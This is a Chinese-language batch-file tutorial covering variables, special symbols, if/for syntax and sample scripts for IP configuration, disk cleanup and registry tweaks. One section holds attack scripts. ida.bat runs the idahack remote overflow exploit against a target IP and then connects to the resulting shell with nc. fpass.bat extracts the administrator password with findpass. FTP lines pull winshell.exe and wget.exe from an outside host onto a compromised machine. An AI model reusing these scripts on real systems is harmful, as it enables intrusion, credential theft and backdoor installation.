批处理文件，在DOS和Windows系统中，bat文件是可执行文件，由一系列命令构成，其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令（大部分时候就好像在DOS提示符下执行的命令行一样），可以使用DOS下的Edit或者Windows的记事本等任何文本文件编辑工具创建和修改批处理文件。

简单程序

可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来

循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。第三，每个编写好的批处理文件都相当于一个DOS的外部命令你可以把它所在的目录放到你的DOS搜索路径变量%path%（详见后面）中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。

作用

简单的说，批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（>前面内容表示DOS提示符）：

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？

好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：

@echo off

c:

cd\wps

spdos

py

wbx

wps

cd\

以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。

变量

变量的类型

批处理中的变量基本上是万能的,可以储存各种各样的数据,不过用来计算时你会发现变量类型转为了int,所以范围为[-2147483648，2147483647],如果不拿来计算的话,似乎数万位也是可以的。

变量的命名

批处理的变量命名没有什么限制。不过建议命名还是遵守标准的命名方法,不然

@Echo Off

Set IF=Set

%IF% lF=Goto

:IF

IF %IF%==IF %lF% IF

会出现这样的代码。

变量的扩展

扩展,你可以理解为显示出这个的值,如果你想要使用这个变量的值一般情况下都要扩展

扩展方式:%变量%或!变量!

其中!变量!是延迟扩展,需要加上SetLocal EnableDelayedExpansion语句才能够实现,延迟扩展对于新手来说是一个很难理解的东西,就这么说吧,当你的变量在一个语句的内部受到了改变,而在这个改变之后又要输出,那么你必须要延迟扩展,这个牵扯到了奇奇怪怪的预处理机制,不详解了.用连接符号连起来的语句,if,for和它们后面括号内的内容都是属于一个语句

例:

@echo off

set num=10

set num=100&echo %num%

echo %num%

echo 虽然已经将num的值更改为100,但由于没有延迟扩展,所以值仍为10,不过在下一个语句num的值就改变了

pause>nul

例:

@echo off

SetLocal EnableDelayedExpansion

set num=10

set num=100&echo !num!

echo 现在两个num的值一样了

echo %num%

pause>nul

变量在扩展过程中还可以做一点手脚

例:

set str=1234567890

echo %str:~0,5%

echo %str:~1,5%

echo %str:~-5%

echo %str:~5,-2%

echo %str:7890=54321%

pause>nul

很神奇吧?这就是对字符串的处理,具体的用法在这里不详解了

关于参数

参数在批处理的表达是%0,%1,%2....%9 ，以及全部参数%*（不包括%0）

%0的初始量是批处理本身路径，类似%~f0

一般你只能取前九个参数，除非你使用%*

shift命令允许你获取后面的参数

格式：shift [/n]

n为1~8的数

shift 会使%0变成%1，%1变成%2……%9变成原来的第10个参数（不推荐）

一般使用shift /1，将会从%1开始替换，保留原%0

注意：call标签时参数也是可用的，而且当返回时参数将变回原来的

例子：

@echo off

call :标签 arg1 arg2

echo %1

::会显示回显已打开

echo %2

exit

:标签

echo %1

::这时会显示arg1

echo %2

::这时会显示arg2

exit /b

特殊符号

@-隐藏命令

开启了echo off能够起到隐藏命令的效果,而@同样能起到这个效果,只不过需要在每条命令前面都加一个...

&&,||-判断

还记得用if errorlevel来判断命令成功与否吗?&&和||同样能起到这个效果,&&表示前面的命令成功以后执行后面的命令,||反之

例:

@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失败

@pause>nul

|-管道

将前一个命令执行的结果发送给后一个命令

例:

@echo 你好|find "你"

@tasklist|find "exe"

&-分行符

可以把几个命令写在同一行

例:

@echo 123&@echo 456

pause>nul

^-分行与转义符

1.分行

可以把一个命令写成多行哦

例:

@echo 1^

2^

3^

4

@pause>nul

复制上面的命令,执行结果是什么?这就是分行符的作用

2.转义

当我们试图输出一个&的时候,我们会发现输出不了...因为它被当成分行符处理了

这时就要请出转义符^了,它可以剥夺后面第一个符号的特殊地位,变为普通符号(这其实是一个很神奇的功能,之所以神奇...赘不详述)

例:

@echo ^&

@pause>nul

这样就输出了&

另外，当存在a变量（前面set /p a=或set a=给a赋值了）想要输出%a%，一是可以用转义符^，还可以：

echo %%a%%

这样既可将两个百分号识别为一个，起到了转义的作用

还有些特殊情况不需要转义：

echo "0000|000"

用引号括起来可以起到一定的转义的作用，包括set "a=a的值"等

但特别特殊的情况比如获取%1时存在转义符很难处理，没办法正常引用

*,?-通配符

啥叫通配符?举个例子吧,*.jpg表示所有的jpg,*表示所有文件.现在你明白了吗? 那"?"有什么用,*可以为任意字符,但?只表示一个字符,比如?.jpg只表示文件名只有一个的jpg文件,比如1.jpg,比.jpg什么

()-括起来

括起来的语句是一个整体

>,>>,<-重定向

echo 123>>one.txt

可以输出123追加到one.txt中

echo 123>one.txt

可以输出123复盖one.txt中原先的内容

nul是一个系统保留字,所以>nul不会输出到任何文件,可以起到隐藏命令执行结果的效果

2 >nul可以起到隐藏命令失败执行结果的效果

<可以从文件中读取数据到某个命令中,不过这个命令得等待用户输入>

例:

@echo off

echo 123>>00.txt

set /p num=<00.txt

echo 数字是%num%

pause>nul

有些命令不止需要一个>nul，如要连接，需要：>nul 2>nul以此类推

如果前面有数字，需要添加空格

ping >nul 2>nul

=1>nul 2>nul ping

=ping >nul 2>&1.... X>&2 X>&2 X>&3等

nul指空设备，简单来说就是隐藏输出。

2>&1 3>&2 可以一直接下去，&1 &2就是引用第一个、第二个等

例子

下面是一个运行于Windows 98(2000，XP)下的autoexec.bat的示例：

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY点COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D: \TEMP

SET TMP=D:\TEMP

常用命令返回值

backup

备份成功

未找到备份文件

文件共享冲突阻止备份完成

用户用ctrl-c中止备份

由于致命的错误使备份操作中止

diskcomp

盘比较相同

盘比较不同

用户通过ctrl-c中止比较操作

由于致命的错误使比较操作中止

预置错误中止比较

diskcopy

盘拷贝操作成功

非致命盘读/写错

用户通过ctrl-c结束拷贝操作

因致命的处理错误使盘拷贝中止

预置错误阻止拷贝操作

format

格式化成功

用户通过ctrl-c中止格式化处理

因致命的处理错误使格式化中止

在提示“proceed with format（y/n）?”下用户键入n结束

xcopy

成功拷贝文件

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

批处理技巧

文章结构

1. 所有内置命令的帮助信息

2. 环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

命令帮助

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

环境变量的概念

#############################

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

内置的特殊符号

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || && ^ >< *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( >< &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

批处理文件概念

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

___________________________________________________________

语句结构

类似于C语言，批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。

if语句

if语句实现条件判断，包括字符串比较、存在判断、定义判断等。通过条件判断，if语句即可以实现选择功能。

1、字符串比较

if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为：

IF [not] string1 compare-op string2 command1 [else command2]

其中，比较操作符compare-op有以下几类：

== - 等于

EQU - 等于

NEQ - 不等于

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

选择开关/i则不区分字符串大小写；选择not项，则对判断结果进行逻辑非。

字符串比较示例：

===============================================

@echo off

set str1=abcd1233

set str2=ABCD1234

if %str1%==%str2% (echo 字符串相同！) else (echo 字符串不相同！)

if /i %str1% LSS %str2% (echo str1^=str2)

echo.

set /p choice=是否显示当前时间？(y/n)

if /i not %choice% EQU n echo 当前时间是：%date% %time%

pause>nul

===============================================

对于最后一个if判断，当我们输入n或N时的效果是一样的，都不会显示时间。如果我们取消开关/i，则输入N时，依旧会显示时间。

另外请注意一下几个细节：1-echo str1^=str2；2-echo.。

2、存在判断

存在判断的功能是判断文件或文件夹是否存在。其命令格式为：

IF [NOT] EXIST filename command1 [else command2]

===============================================

@echo off

if exist %0 echo 文件%0是存在的！

if not exist %~df0 (

echo 文件夹%~df0不存在！

) else echo 文件夹%~df0存在！

pause>nul

===============================================

这里注意几个地方：

1-存在判断既可以判断文件也可以判断文件夹；

2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型)；

3-%~df0是对%0的修正，只保留了其驱动器盘符和路径，详情请参考for /?，属高级批处理范畴；

4-注意if语句的多行书写，多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行，即command可以是命令集。

3、定义判断

定义判断的功能是判断变量是否存在，即是否已被定义。其命令格式为：

IF [not] DEFINED variable command1 [else command2]

存在判断举例：

===============================================

@echo off

set var=111

if defined var (echo var=%var%) else echo var尚未定义！

set var=

if defined var (echo var=%var%) else echo var尚未定义！

pause>nul

===============================================

对比可知，"set var="可以取消变量，收回变量所占据的内存空间。

for语句

for语句可以实现类似于C语言里面的循环结构，当然for语句的功能要更强大一点，通过不同的开关可以实现更多的功能。for语句有多个开关，不同开关将会实现不同的功能。

1、无开关

无开关的for语句能够对设定的范围内进行循环，是最基本的for循环语句。其命令格式为：

FOR %%variable IN (set) DO command

其中，%%variable是批处理程序里面的书写格式，在DOS中书写为%variable，即只有一个百分号(%)；set就是需要我们设定的循环范围，类似于C语言里面的循环变量；do后面的command就是循环所执行的命令，即循环体。

无开关for语句举例：

===============================================

@echo off

for %%i in (a,"b c",d) do echo %%i

pause>nul

===============================================

2、开关/L

含开关/L的for语句，可以根据set里面的设置进行循环，从而实现对循环次数的直接控制。其命令格式为：

FOR /L %%variable IN (start,step,end) DO command

其中，start为开始计数的初始值，step为每次递增的值，end为结束值。当end小于start时，step需要设置为负数。

含开关/L的for语句举例(创建5个文件夹)：

===============================================

@echo off

for /l %%i in (1,2,10) do md %%i

pause

===============================================

上例将新建5个文件夹，文件夹名称依次为1、3、5、7、9。可以发现，%%i的结束值并非end的值10，而是不大于end的一个数。

3、开关/F

含开关/F的for语句具有最强大的功能，它能够对字符串进行操作，也能够对命令的返回值进行操作，还可以访问硬盘上的ASCII码文件，比如txt文档等。其命令格式为：

FOR /F ["options"] %%variable IN (set) DO command

其中，set为("string"、'command'、file-set)中的一个；options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下，使用较多的是skip、tokens、delims三个选项。

含开关/F的for语句举例：

===============================================

@echo off

echo **No Options:

for /f %%a in ("1,2,10") do echo a=%%a

echo **Options tokens ^& delims:

for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c

pause

===============================================

@echo off

echo 本文件夹里面的文件有：

for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (

if not "%%a"=="

" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b

)

pause

===============================================

@echo off

echo 本文件夹里面的文件有：

dir>c:\file.txt

for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (

if not "%%a"=="

" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b

)

del c:\file.txt

pause

===============================================

对于后面的两个例子，其中options里面的delims= 是可以删除的，因为只要添加了/F开关系统就将delims的值默认为空格。

符号字符串中的最后一个字符星号，

那么额外的变量将在最后一个符号解析之后

分配并接受行的保留文本。本例中也可以改为4，不过文件名中有空格的文件，只能显示空格以前部分

同时我们也看到了，for语句的do后面的command也是可以分行的，只需要保证command的左括号和do在同一行就可以了。

4、开关/D或/R

含开关/D或/R的for语句是与目录或文件有关的命令，一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹，故而列举此例。

含开关/R的for语句举例(文件夹遍历)：

===============================================

@echo off

setlocal enabledelayedexpansion

FOR /R d: %%i IN (.) DO (

set dd=%%i

set "dd=!dd:~0,-1!"

echo !dd!

)

pause

exit

===============================================

上例即可以罗列出D盘下的所有文件夹，其速度要比命令"tree d:"慢多了，不过其返回结果的实用性则远远超过了tree命令。

一般情况下我们不推荐通过遍历文件夹来查找文件，特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径，以保证查找效率。

上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，%dd%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关，然后用!dd!来获取dd的值。

for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！

代码示例

修改网络设置

@echo off

::判断本地连接 赋值a

for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j >DNS.txt

for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d

echo 请根据实际情况更改下面三行

set slection1=

set/p slection1=请输入IP地址：

netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0

set slection2=

set/p slection2=请输入网关地址：

netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0

set slection3=

set/p slection3=请输入主dns地址

netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY

set slection4=

set/p slection4=请输入备份dns地址

netsh interface ip add dns name="%a%" addr=%slection4%

netsh interface ip set wins name="%a%" source=static addr=none

del DNS.txt

exit 改完IP后可用这个完成本机ARP的绑定：

@echo off

if exist ipconfig.txt del ipconfig.txt

ipconfig /all >ipconfig.txt

if exist phyaddr.txt del phyaddr.txt

find "Physical Address" ipconfig.txt >phyaddr.txt

for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt

find "IP Address" ipconfig.txt >IPAddr.txt

for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%

del ipaddr.txt

del ipconfig.txt

del phyaddr.txt

exit

同时修改IP和MAC地址的小代码及制作步骤，适合带本本到处跑的

用于带着本本到处跑又要改IP的场合！

1：生成 IP配置文件。

修改你的IP地址配置为某一个配置，例如配置1。修改好：IP，MASK，DNS，GATE等（主要是IP相关的，不需要修改MAC地址）。

然后输入：

netsh -c interface dump > c:\net1.txt

这里net1.txt就是你生成的IP配置文件了！可以改为其它的文件名，比如：实验室，寝室！

依次生成所有的网络配置的配置文件，我假设一共生成两个网络配置分别为net1.txt和net2.txt

2：下载软件SMAC为修改MAC地址的小软件仅8K，我已经上传了。

3：在C盘根目录下建立一个目录，把刚才下载的smac.exe，生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是：C:\cmd

4：建立一个批处理文件，假设为：ToNet1.bat（可以使用记事本编辑，不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat，否则就是ToNet1.bat.txt）

输入如下代码：

smac -modifymac 0 0050BA44D27A

netsh -f net1.txt

net1.txt就是你要设置的某一个网络的配置，0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略，这个表示网卡（你不会有两个或者多个网卡吧？如果你有，请注意自己先试一下看是哪一个网卡了：在这个smac程序的readme中有list功能，你可以判断一下）。

同样的方法，建立ToNet2.bat，当然修改网络配置文件为net2.txt和mac地址的属性了。

把这两个bat文件也放到c:\cmd目录中。

5：然后你可以建立这两个bat文件的快捷方式，双击一下自动更换了！

不过请注意，修改MAC地址可能需要重新启动一下网卡比较好（禁用再启用）

清理系统垃圾

命令代码如下：

@echo off

echo 正在清除系统垃圾文件，请稍等......

del/f/s/q %systemdrive%\*.tmp

del/f/s/q %systemdrive%\*._mp

del/f/s/q %systemdrive%\*.log

del/f/s/q %systemdrive%\*.gid

del/f/s/q %systemdrive%\*.chk

del/f/s/q %systemdrive%\*.old

del/f/s/q %systemdrive%\recycled\*.*

del/f/s/q %windir%\*.bak

del/f/s/q %windir%\prefetch\*.*

rd/s/q %windir%\temp & md %windir%\temp

del/f /q %userprofile%\cookies\*.*

del/f/q %userprofile%\recent\*.*

del/f/s/q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del/f/s/q "%userprofile%\Local Settings\Temp\*.*"

del/f/s/q "%userprofile%\recent\*.*"

echo 清除系统垃圾文件完成！

pause

关机

shutdown-s -t 0

运行这个后，立刻关机

想要重启，就把-s改为-r

锁定注册表

regadd

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem" /v DisableRegistryTools /t reg_dword /d 00000001 /f

解锁注册表

regadd

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S

ystem" /v DisableRegistryTools /t reg_dword /d 00000000 /f

startregedit

显示隐藏文件

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

Hidden/t reg_dword /d 1 /f

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

HideFileExt/t reg_dword /d 0 /f

regadd

"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v

ShowSuperHidden/t reg_dword /d 1 /f

锁定任务管理器

REGADD

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy

stem/V DisableTaskMgr /t REG_DWORD /d 00000001 /f

解锁任务管理器

REGADD

stem/V DisableTaskMgr /t REG_DWORD /d 00000000 /f

解释：这五个都是通过改注册表做到的。

接下来搞几个用密码的。

带密码的批处理

@echo off

modecon cols=30 lines=4

setb=5

:pwd

titlePassword

set/a a=%a%+1

set/a b=%b%-1

set/p pwd=Enter Password:

if/I "%pwd%"=="Password" goto main

if/I "%a%"=="5" goto err

echoError %a% times! You have %b% times left now.

gotopwd

:err

color40

modecon cols=30 lines=2

titleError!

cls

echo.

echoError 5 times, it will exit!

ping127.1 -n 6 >nul

exit

:main

modecon cols=30 lines=3

echoPassword right!

pause

cls

gotoprogram

:program

modecon cols=64 lines=16

:: Your program here. ::

解释：把第九行的Password改成密码。

其它

批处理开发工具

1.iBAT

截至到2014.8.9这个工具仍在更新中,第一印象-简洁!

2.BatProject+DebugBatch

这其实是两个工具,不过它们的开发者是同一个人,这两个工具给我的第一印象-强悍!是用来调试错误的上上之选,不过因为它太强大了,尤其是DebugBatch采取了注入到进程当中的方法来调试,可以中途修改变量,暂停执行等,所以杀软会报毒.

第三方

纯批处理不是万能的,而系统内置第三方远远满足不了我们的需要(如果你会debug就当我没说吧),因此我们需要各种第三方来使我们的批处理变得更强大,在批处理之家有一个第三方收集帖,里面收集了许多第三方,如果有朋友需要的话可以去那里淘一淘,接下来我介绍几个第三方

Tmos.exe-用鼠标操作命令行

Image.exe-显示图片到命令行

CAPI-批处理调用系统API,强大得不能再强大了